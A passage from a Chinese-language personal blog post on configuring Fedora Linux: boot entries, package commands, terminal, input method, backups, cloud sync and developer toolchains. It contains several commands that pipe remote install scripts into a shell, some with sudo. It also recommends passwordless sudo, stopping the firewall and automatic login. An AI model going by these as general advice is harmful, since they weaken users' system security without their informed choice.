&lt;li&gt;UEFI 以 32 位或 64 位模式运行，可以访问全部系统内存，没有 1MB 的限制。&lt;/li&gt;
&lt;li&gt;它可以并行初始化硬件设备，大大缩短了开机自检时间，实现了“秒速开机”。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;强大的扩展性&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;UEFI 可以加载独立的硬件驱动程序。这意味着它在操作系统启动前就能识别并使用更多的硬件，比如网卡（实现网络启动或远程诊断）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.2. efi里面的xdx&lt;/h3&gt;
&lt;p&gt;Boot EFI\fedora\grubx64.efi from EFI System Partition
我们以这个为例子，这是grub，Fedora 的主要引导加载程序 GRUB2(&lt;em&gt;GRand Unified Bootloader&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;Boot EFI\fedora\gcdx64.efi from EFI System Partition
这个是为了兼容&lt;strong&gt;Secure Boot&lt;/strong&gt; 功能而存在的特殊程序&lt;strong&gt;Secure Boot Shim&lt;/strong&gt;。安全启动是 UEFI 的一个安全特性，它要求所有启动代码都必须有受信任的数字签名，以防止恶意软件在操作系统启动前运行
grubx64.efi 没有微软的签名，而这个使用了shim来签名，很多时候这个都是默认的启动方式&lt;/p&gt;
&lt;p&gt;Boot Fallback boot loader from EFI System Partition
这是&lt;strong&gt;备用/应急引导加载程序&lt;/strong&gt;，UEFI 规范定义了一个标准的、通用的启动路径：EFI\BOOT\BOOTX64.EFI。如果因为某些原因（比如系统配置错误、NVRAM 记录丢失），UEFI 找不到为系统设置的特定启动项，它会最后尝试去寻找这个“备用路径”。&lt;/p&gt;
&lt;p&gt;Boot vmlinuz-6.16.12-200.fc42.x86_64 from 1024 MiB ext4 Volume
这是直接从 Linux 文件系统启动 Linux 内核。现代 Linux 内核支持一种叫 EFISTUB 的技术，允许 UEFI 固件像运行一个 .efi 程序一样，直接加载并运行内核文件
我目前开机使用的就是这个，因为它确实快一些&lt;/p&gt;
&lt;h2&gt;3. System(fedora)::maybe U should know something about this&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;
$ sudo dnf update

$ sudo dnf upgrade --refresh

$ sudo dnf search htop # 搜索包

$ sudo dnf remove htop # 删除

$ sudo dnf list installed # 查看安装的包

$ sudo dnf autoremove    # 删除孤立的依赖包

$ sudo dnf clean all    # 清理 DNF 缓存

$ ls -lha # 以更易读的格式 (-h) 显示详细信息 (-l)，包括隐藏文件 (-a)。
$ cd /etc/nginx # cd .. cd ~ or cd：
$ pwd # 康康你在哪里口牙
$ mkdir Projects

$ cp source.txt destination.txt
$ cp -r source_folder/ destination_folder/：-r 表示递归复制整个文件夹。

$ sudo journalctl --vacuum-time=2weeks   # 仅保留两周日志

$ flatpak uninstall --unused  # flatpak 不使用的包


$ du -sh ~/.cache
6.2G    /home/s3loy/.cache
$ rm -rf ~/.cache/*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不想写，用什么查什么吧
如果有的指令可以看看&lt;a href=&quot;https://njupt-sast.feishu.cn/wiki/OU2Ow2GxuiG2tVkPfLvcmfWxnEd&quot;&gt;运维组第一次授课 虚拟机和命令行 - 飞书云文档&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;4. Optimization(sudo)::using sudo without password&lt;/h2&gt;
&lt;p&gt;因为每次用&lt;code&gt;sudo&lt;/code&gt;都需要密码觉得太麻烦了，所以修改了一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo visudo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改了这一行
&lt;code&gt;%wheel ALL=(ALL)       NOPASSWD: ALL&lt;/code&gt;
然后保存就行了，因为本身用户就在wheel用户组内&lt;/p&gt;
&lt;h2&gt;5. Optimization(auto login)::login without password&lt;/h2&gt;
&lt;p&gt;系统设置-外观和样式-颜色和主题-全局主题-登录屏幕(SDDM)-右上角的“行为...”-自动登录 选择账户和前端并输入密码&lt;/p&gt;
&lt;h2&gt;6. Optimization(super .desktop)::快捷方式书写&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;~/.local/share/applications/feishu.desktop&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Desktop Entry]
Version=1.0
Name=飞书
Comment=Feishu | Lark, a work collaboration platform
Exec=/opt/bytedance/feishu/feishu %U
Icon=/opt/bytedance/feishu/product_logo_256.png
Terminal=false
Type=Application
Categories=Network;Office;InstantMessaging;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;7. Optimization(tlp)::Battery&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf install tlp tlp-rdw

sudo systemctl enable tlp.service
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf copr enable sunwire/envycontrol

sudo dnf install python3-envycontrol

$  sudo envycontrol -q
hybrid

sudo envycontrol --switch integrated # 集成显卡模式
sudo envycontrol --switch hybrid # 混合模式
sudo envycontrol --switch discrete # 独显直连模式
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;8. Optimization(blueman)::Bluetooth&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$ sudo dnf install bluez gnome-bluetooth
仓库更新和加载中:
仓库加载完成。
Package &quot;bluez-5.84-2.fc42.x86_64&quot; is already installed.
Package &quot;gnome-bluetooth-1:47.1-2.fc42.x86_64&quot; is already installed.

Nothing to do.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但发现仍然识别不到耳机，
于是使用另外一个包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf install blueman
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;连接成功&lt;/p&gt;
&lt;h2&gt;9. Tool(neofetch)::Show your OS&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;fedora&lt;/code&gt;的官方仓库里面是没有neofetch的，但是可以
&lt;code&gt;sudo dnf install fastfetch&lt;/code&gt;
作为替代
但是官方其实也有给出解决方案
&lt;a href=&quot;https://github.com/dylanaraps/neofetch/wiki/Installation#fedora--rhel--centos--mageia--openmandriva&quot;&gt;Installation · dylanaraps/neofetch Wiki · GitHub&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;10. Tool(bleachbit)::Rubbish Sorting&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf install bleachbit
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;11. Tool(wezTerm+fish)::Come and use wezTerm&lt;/h2&gt;
&lt;p&gt;默认的终端应用是&lt;code&gt;konsole&lt;/code&gt;,有一点不满意，于是换成了&lt;strong&gt;wezTerm&lt;/strong&gt;+&lt;strong&gt;fish&lt;/strong&gt;+&lt;strong&gt;oh my fish&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf copr enable wezfurlong/wezterm-nightly

sudo dnf install wezterm

chsh -s /usr/bin/fish
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在&lt;a href=&quot;https://www.nerdfonts.com/font-downloads&quot;&gt;nerd fonts&lt;/a&gt;
下载了FiraCode Nerd Font,解压到了&lt;code&gt;~/.fonts&lt;/code&gt;文件夹&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fc-cache -fv

nano ~/.wezterm.lua
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;local wezterm = require &apos;wezterm&apos;
local config = {}
if wezterm.config_builder then
  config = wezterm.config_builder()
end

config.font = wezterm.font_with_fallback({
  &apos;FiraCode Nerd Font&apos;,
  &apos;Noto Color Emoji&apos;,
})

config.harfbuzz_features = {&apos;calt=1&apos;, &apos;clig=1&apos;, &apos;liga=1&apos;}

config.color_scheme = &apos;Catppuccin Mocha&apos;

config.window_background_opacity = 0.95

config.window_padding = {
  left = 15,
  right = 15,
  top = 15,
  bottom = 10,
}


config.hide_tab_bar_if_only_one_tab = true


config.default_cursor_style = &apos;BlinkingBar&apos;
config.enable_scroll_bar = false


config.keys = {
  -- 关闭当前窗格 (Pane)
  {
    key = &apos;w&apos;,
    mods = &apos;ALT&apos;,
    action = wezterm.action.CloseCurrentPane { confirm = true },
  },

  -- 关闭当前标签页 (Tab)
  {
    key = &apos;w&apos;,
    mods = &apos;CTRL|SHIFT&apos;,
    action = wezterm.action.CloseCurrentTab { confirm = false },
  },

  -- 水平分割窗格 (左右)
  {
    key = &apos;-&apos;,
    mods = &apos;ALT&apos;,
    action = wezterm.action.SplitHorizontal { domain = &apos;CurrentPaneDomain&apos; },
  },

  -- 垂直分割窗格 (上下)
  {
    key = &apos;=&apos;,
    mods = &apos;ALT&apos;,
    action = wezterm.action.SplitVertical { domain = &apos;CurrentPaneDomain&apos; },
  },
}


return config
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;curl https://raw.githubusercontent.com/oh-my-fish/oh-my-fish/master/bin/install | fish

omf install pure

sudo dnf install fzf
sudo dnf install grc

omf install fzf
omf install grc
omf install nvm
omf install z
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用的是&lt;code&gt;pure&lt;/code&gt;主题&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;主题预览
&lt;img src=&quot;My-Fedora-Journey/pure.png&quot; alt=&quot;preview&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;12. Tool(Fcitx5)::Input method&lt;/h2&gt;
&lt;p&gt;一开始使用了&lt;code&gt;IBus&lt;/code&gt;
其中碰到的问题例如Obsidian不能使用中文输入法
在启动命令行参数里面添加了
&lt;code&gt;--enable-features=UseOzonePlatform --ozone-platform=wayland --enable-wayland-ime&lt;/code&gt;
但是修改之后qq又不能输入了
然后又换回了&lt;code&gt;Fcitx5&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf install fcitx5 fcitx5-chinese-addons fcitx5-configtool fcitx5-gtk fcitx5-qt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看有推荐使用Fcitx5 rime的，还没进行尝试&lt;/p&gt;
&lt;p&gt;使用主题：&lt;a href=&quot;https://github.com/thep0y/fcitx5-themes-candlelight&quot;&gt;GitHub - thep0y/fcitx5-themes-candlelight: fcitx5的简约风格皮肤——烛光。&lt;/a&gt;
里面的winter
它的mac主题遮罩都有明显问题，观感不好不推荐使用&lt;/p&gt;
&lt;p&gt;配置修改：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;临时在当前和第一个输入法之间切换 绑定 &lt;code&gt;Shift&lt;/code&gt; 可以方便适应&lt;/li&gt;
&lt;li&gt;开启云拼音，把后端改成百度&lt;/li&gt;
&lt;li&gt;去拼音里面把前后鼻音啥的纠错打打开&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;已知问题：
在使用qq的时候智能使用默认的双行输入而不是单行 即使通过&lt;code&gt;ctrl&lt;/code&gt;+&lt;code&gt;alt&lt;/code&gt;+&lt;code&gt;P&lt;/code&gt; 也不可以更改输入模式&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;后续问题：
漏字&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /etc/environment
GTK_IM_MODULE=fcitx

XMODIFIERS=@im=fcitx

SDL_IM_MODULE=fcitx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;添加了如下环境变量&lt;/p&gt;
&lt;h2&gt;13. Tool(snapper)::Backup&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$ sudo dnf install snapper python3-dnf-plugin-snapper

$ sudo snapper -c root create-config /

# 它会自动进行备份
$ sudo snapper list
# │ 类型   │ 前期 # │ 日期                               │ 用户 │ 清空     │ 描述
     │ 用户数据
──┼────────┼────────┼────────────────────────────────────┼──────┼──────────┼──────────┼─────────
0 │ single │        │                                    │ root │          │ current  │
1 │ single │        │ 2025年10月21日 星期二 19时00分00秒 │ root │ timeline │ timeline │
2 │ single │        │ 2025年10月21日 星期二 20时00分00秒 │ root │ timeline │ timeline │
3 │ single │        │ 2025年10月21日 星期二 21时00分00秒 │ root │ timeline │ timeline │

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以参考&lt;a href=&quot;https://documentation.suse.com/zh-cn/sles/12-SP5/html/SLES-all/cha-snapper.html&quot;&gt;通过 Snapper 进行系统恢复和快照管理 | 管理指南 | SLES 12 SP5&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo snapper create --description &quot;进行重要操作前的备份&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;后编：
&lt;code&gt;btrfs&lt;/code&gt;下&lt;code&gt;snapper&lt;/code&gt;保存快照太狠了，s3一看发现&lt;code&gt;df -h&lt;/code&gt;和 &lt;code&gt;du -h&lt;/code&gt;两边差距非常大，电脑出现了几十个G的幽灵文件
这一看&lt;code&gt;sudo snapper list&lt;/code&gt; 发现存爆了都
所以需要删除&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo snapper delete --sync 1-97
sudo snapper create --type single --description &quot;手动备份-准备清理旧快照&quot;

sudo snapper set-config &quot;TIMELINE_LIMIT_HOURLY=0&quot;
sudo snapper set-config &quot;TIMELINE_LIMIT_DAILY=7&quot;
sudo snapper set-config &quot;TIMELINE_LIMIT_MONTHLY=3&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一下子干净多了
qaq&lt;/p&gt;
&lt;h2&gt;14. Tool(vscode)::米奇妙妙物&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo rpm --import https://packages.microsoft.com/keys/microsoft.asc

sudo sh -c &apos;echo -e &quot;[code]\nname=Visual Studio Code\nbaseurl=https://packages.microsoft.com/yumrepos/vscode\nenabled=1\ngpgcheck=1\ngpgkey=https://packages.microsoft.com/keys/microsoft.asc&quot; &amp;gt; /etc/yum.repos.d/vscode.repo&apos;

sudo dnf check-update
sudo dnf install code
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;插件: 还没有分类&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Better Comments Next&lt;/li&gt;
&lt;li&gt;bis&lt;/li&gt;
&lt;li&gt;Bookmarks&lt;/li&gt;
&lt;li&gt;Chinese (Simplified) (简体中文) Language Pack for Visual Studio Code&lt;/li&gt;
&lt;li&gt;Code Spell Checker&lt;/li&gt;
&lt;li&gt;CodeLLDB&lt;/li&gt;
&lt;li&gt;Container Tools&lt;/li&gt;
&lt;li&gt;Dependi&lt;/li&gt;
&lt;li&gt;Dev Containers&lt;/li&gt;
&lt;li&gt;Dotenv&lt;/li&gt;
&lt;li&gt;Dotenv Official +Vault&lt;/li&gt;
&lt;li&gt;Easy CodeSnap&lt;/li&gt;
&lt;li&gt;Even Better TOML&lt;/li&gt;
&lt;li&gt;Git Graph v3&lt;/li&gt;
&lt;li&gt;GitHub Copilot&lt;/li&gt;
&lt;li&gt;GitHub Copilot Chat&lt;/li&gt;
&lt;li&gt;Go&lt;/li&gt;
&lt;li&gt;Golang Tools&lt;/li&gt;
&lt;li&gt;Kubernetes&lt;/li&gt;
&lt;li&gt;LLDB DAP&lt;/li&gt;
&lt;li&gt;Makefile Tools&lt;/li&gt;
&lt;li&gt;Markdown All in One&lt;/li&gt;
&lt;li&gt;markdownlint&lt;/li&gt;
&lt;li&gt;Prettier - Code format&lt;/li&gt;
&lt;li&gt;Pylance&lt;/li&gt;
&lt;li&gt;Python&lt;/li&gt;
&lt;li&gt;Python Debugger&lt;/li&gt;
&lt;li&gt;Python Environments&lt;/li&gt;
&lt;li&gt;Remote - SSH&lt;/li&gt;
&lt;li&gt;Remote - SSH: Editing&lt;/li&gt;
&lt;li&gt;Remote - Tunnels&lt;/li&gt;
&lt;li&gt;Remote Development&lt;/li&gt;
&lt;li&gt;Remote Explorer&lt;/li&gt;
&lt;li&gt;Rust Syntax&lt;/li&gt;
&lt;li&gt;rust-analyzer&lt;/li&gt;
&lt;li&gt;Slidev&lt;/li&gt;
&lt;li&gt;Svelte for VS Code&lt;/li&gt;
&lt;li&gt;Swift&lt;/li&gt;
&lt;li&gt;TODO Highlight&lt;/li&gt;
&lt;li&gt;YAML&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;15. Tool(virtualization)::Visual Machine&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf install @virtualization
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;要关防火墙&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl stop firewalld
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ps：这个防火墙真的很烦人啊
然后还可以使用VMware Workstation&lt;/p&gt;
&lt;h2&gt;16. Tool(Termius)::ssh helper&lt;/h2&gt;
&lt;p&gt;官方只提供了&lt;code&gt;.deb&lt;/code&gt;包，因此使用snap仓库内的包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo snap install termius-app
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;此处不推荐使用flatpak,因为文件不共享会导致SFTP不好用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;然后就可以去应用程序那边找到了
&lt;code&gt;termius&lt;/code&gt; 可以白嫖学生认证，用github账户关联下就可以了&lt;/p&gt;
&lt;p&gt;ssh 连接服务器，然后爽用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf install openssh-server

sudo systemctl start sshd

sudo systemctl enable sshd

systemctl daemon-reload
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;17. Workshop(Obsidian+Gdrive+rclone)::working with different workspaces&lt;/h2&gt;
&lt;p&gt;方案：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;markdown：&lt;strong&gt;Obsidian+OneDrive&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;coding：&lt;strong&gt;github&amp;amp;gitlab&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;[ ] TODO： CI/CD&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/abraunegg/onedrive/blob/master/docs/install.md&quot;&gt;OneDrive for linux&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf install onedrive
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;OneDrive失败，&lt;strong&gt;南邮管理员没开启认证&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;切换方案 Google Drive&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://rclone.org/&quot;&gt;&lt;strong&gt;rclone&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo -v ; curl https://rclone.org/install.sh | sudo bash
...
rclone v1.71.1 has successfully installed.
Now run &quot;rclone config&quot; for setup. Check https://rclone.org/docs/ for more details.

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ rclone config

# 后续可以参考https://www.cnblogs.com/Undefined443/p/18615701
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用方法:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我的本地config命名就是 &lt;strong&gt;work_space&lt;/strong&gt; ()
所以如果config命名不一样救修改 &quot; : &quot;前面的那个work_space即可
位置要根据自己文件存放的位置使用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;# 从上游拉下来
$ rclone sync -P work_space:work_space /workshop/work_space/
# 从本地提交上去
$ rclone sync -P /workshop/work_space/ work_space:work_space
# 查询
$ rclone lsd work_space:work_space   
$ rclone ls work_space:work_space   
# blog备份
$ rclone sync -P /workshop/Blog/source/_posts  work_space:work_space/s3_workshop/Blogs  
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;rclone sync -P work_space: /workshop/work_space/ --drive-root-folder-id 1gQg-FNNg2kLR8vnQMV9b5-Mqpro2roMN #下载

rclone sync -P /workshop/work_space/ work_space: --drive-root-folder-id 1gQg-FNNg2kLR8vnQMV9b5-Mqpro2roMN #上传
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;新的方法：
使用了fish的自定义函数，创建了一个workshop指令&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;function workshop --description &quot;Sync local workshop directory with Google Drive&quot;
    set filter_file ~/.config/rclone/filter-rules.txt
    
    set rclone_opts --checkers=16 --transfers=2 --low-level-retries=20

    switch $argv[1]
        case pull
            echo (set_color green)&quot;⬇️  Syncing from Google Drive to local...&quot;(set_color normal)
            rclone sync -P work_space: /workshop/work_space/ --drive-root-folder-id 1gQg-FNNg2kLR8vnQMV9b5-Mqpro2roMN --filter-from $filter_file $rclone_opts
            echo (set_color green)&quot;✅ Pull complete.&quot;(set_color normal)

        case push
            echo (set_color cyan)&quot;⬆️  Syncing from local to Google Drive...&quot;(set_color normal)
            rclone sync -P /workshop/work_space/ work_space: --drive-root-folder-id 1gQg-FNNg2kLR8vnQMV9b5-Mqpro2roMN --filter-from $filter_file $rclone_opts
            echo (set_color cyan)&quot;✅ Push complete.&quot;(set_color normal)

        case &apos;*&apos;
            echo &quot;Usage: workshop [subcommand]&quot;
            echo &quot;&quot;
            echo &quot;Subcommands:&quot;
            echo (set_color green)&quot;  pull&quot;(set_color normal)&quot;   Download changes from Google Drive&quot;
            echo (set_color cyan)&quot;  push&quot;(set_color normal)&quot;   Upload local changes to Google Drive&quot;
    end
end
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;18. Environment(rust)::加入rust神教喵喵加入rust神教&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;curl --proto &apos;=https&apos; --tlsv1.2 -sSf https://sh.rustup.rs | sh&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ curl --proto &apos;=https&apos; --tlsv1.2 -sSf https://sh.rustup.rs | sh  
info: downloading installer  
  
Welcome to Rust!  
  
This will download and install the official compiler for the Rust  
programming language, and its package manager, Cargo.  
  ...
  
1) Proceed with standard installation (default - just press enter)  
2) Customize installation  
3) Cancel installation
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接回车就好了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;info: default toolchain set to &apos;stable-x86_64-unknown-linux-gnu&apos;  
  
 stable-x86_64-unknown-linux-gnu installed - rustc 1.90.0 (1159e78c4 2025-09-14)  
  
  
Rust is installed now. Great!  
  
To get started you may need to restart your current shell.  
This would reload your PATH environment variable to include  
Cargo&apos;s bin directory ($HOME/.cargo/bin).  
  
To configure your current shell, you need to source  
the corresponding env file under $HOME/.cargo.  
  
This is usually done by running one of the following (note the leading DOT):  
. &quot;$HOME/.cargo/env&quot;            # For sh/bash/zsh/ash/dash/pdksh  
source &quot;$HOME/.cargo/env.fish&quot;  # For fish  
source $&quot;($nu.home-path)/.cargo/env.nu&quot;  # For nushell
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;s3loy@fedora:~$ rustc --version
rustc 1.90.0 (1159e78c4 2025-09-14)
s3loy@fedora:~$ cargo --version
cargo 1.90.0 (840b83a10 2025-07-30)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;19. Environment(c/c++)::NJUPT wanted&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf group install development-tools

sudo dnf install gcc-c++
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ gdb --version
GNU gdb (Fedora Linux) 16.3-1.fc42
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ g++ --version
g++ (GCC) 15.2.1 20250808 (Red Hat 15.2.1-1)
Copyright © 2025 Free Software Foundation, Inc.
本程序是自由软件；请参看源代码的版权声明。本软件没有任何担保；
包括没有适销性和某一专用目的下的适用性担保。
$ gcc --version
gcc (GCC) 15.2.1 20250808 (Red Hat 15.2.1-1)
Copyright © 2025 Free Software Foundation, Inc.
本程序是自由软件；请参看源代码的版权声明。本软件没有任何担保；
包括没有适销性和某一专用目的下的适用性担保。

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Something U can use.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf install cmake

sudo dnf install qt6-qtbase-devel qt6-qtsvg-devel qt6-qttools-devel

sudo dnf install qt-creator
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;20. Environment(Front-end)::nonononode_module&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf install nodejs npm

sudo dnf install google-chrome

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash

source ~/.bashrc

nvm install --lts
nvm use --lts
nvm alias default lts/*

npm install -g pnpm@latest-10
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ pnpm -v
10.17.1
$ npm -v
11.6.1
$ nvm -v
0.39.7
$ node -v
v22.20.0
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;21. Environment(docker)::Container&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.docker.com/engine/install/fedora/&quot;&gt;Install Docker Engine on Fedora&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo dnf upgrade --refresh

$ sudo dnf -y install dnf-plugins-core

$ sudo dnf remove docker \
                  docker-client \
                  docker-client-latest \
                  docker-common \
                  docker-latest \
                  docker-latest-logrotate \
                  docker-logrotate \
                  docker-selinux \
                  docker-engine-selinux \
                  docker-engine

$ sudo dnf -y install dnf-plugins-core

$ sudo dnf-3 config-manager --add-repo https://download.docker.com/linux/fedora/docker-ce.repo

$ sudo dnf install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

# sudo systemctl enable --now docker 
# 如果你要自启用这个
$ sudo systemctl start docker

$ sudo docker run hello-world
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ sudo systemctl enable --now docker
Created symlink &apos;/etc/systemd/system/multi-user.target.wants/docker.service&apos; → &apos;/usr/lib/systemd/system/docker.service&apos;.
$ sudo systemctl start docker
$ sudo docker run hello-world
Unable to find image &apos;hello-world:latest&apos; locally
latest: Pulling from library/hello-world
17eec7bbc9d7: Pull complete
Digest: sha256:54e66cc1dd1fcb1c3c58bd8017914dbed8701e2d8c74d9262e26bd9cc1642d31
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
 1. The Docker client contacted the Docker daemon.
 2. The Docker daemon pulled the &quot;hello-world&quot; image from the Docker Hub.
    (amd64)
 3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
 4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
 $ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
 https://hub.docker.com/

For more examples and ideas, visit:
 https://docs.docker.com/get-started/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;22. Environment(k8s)::Container&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$ curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-latest.x86_64.rpm
$ sudo rpm -Uvh minikube-latest.x86_64.rpm

$ minikube start

$ minikube kubectl -- get pods -A

$ kubectl completion fish | source
fish: kubectl: 未找到命令...
提供此文件的软件包是：
&apos;kubernetes1.29-client&apos;
&apos;kubernetes1.30-client&apos;
&apos;kubernetes1.31-client&apos;
&apos;kubernetes1.32-client&apos;
&apos;kubernetes1.33-client&apos;
&apos;kubernetes1.34-client&apos;

$ sudo dnf install kubernetes1.34-client
$ kubectl completion fish | source
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;22.1. k8s简单实验：nginx服务器&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ minikube start
$ kubectl create deployment nginx-deployment --image=nginx

$ kubectl get deployment
NAME               READY   UP-TO-DATE   AVAILABLE   AGE
nginx-deployment   1/1     1            1           43s

$ kubectl get pods
NAME                                READY   STATUS    RESTARTS   AGE
nginx-deployment-7457467ffd-6fxtv   1/1     Running   0          87s

$ kubectl expose deployment nginx-deployment --type=NodePort --port=80
service/nginx-deployment exposed

$ kubectl get service nginx-deployment
NAME               TYPE       CLUSTER-IP     EXTERNAL-IP   PORT(S)        AGE
nginx-deployment   NodePort   10.98.106.65   &amp;lt;none&amp;gt;        80:31891/TCP   18s

$ minikube service nginx-deployment
┌───── ┬─────────┬────── ┬───────────── ┐
│ NAMESPACE │       NAME       │ TARGET PORT │            URL            │
├───── ┼─────────┼────── ┼───────────── ┤
│ default   │ nginx-deployment │ 80          │ http://192.168.49.2:31891 │
└───── ┴─────────┴────── ┴───────────── ┘
🎉  正通过默认浏览器打开服务 default/nginx-deployment...
# 你怎么歪了
$ curl http://192.168.49.2:31891/ 
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;Welcome to nginx!&amp;lt;/title&amp;gt;
&amp;lt;style&amp;gt;
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
&amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Welcome to nginx!&amp;lt;/h1&amp;gt;
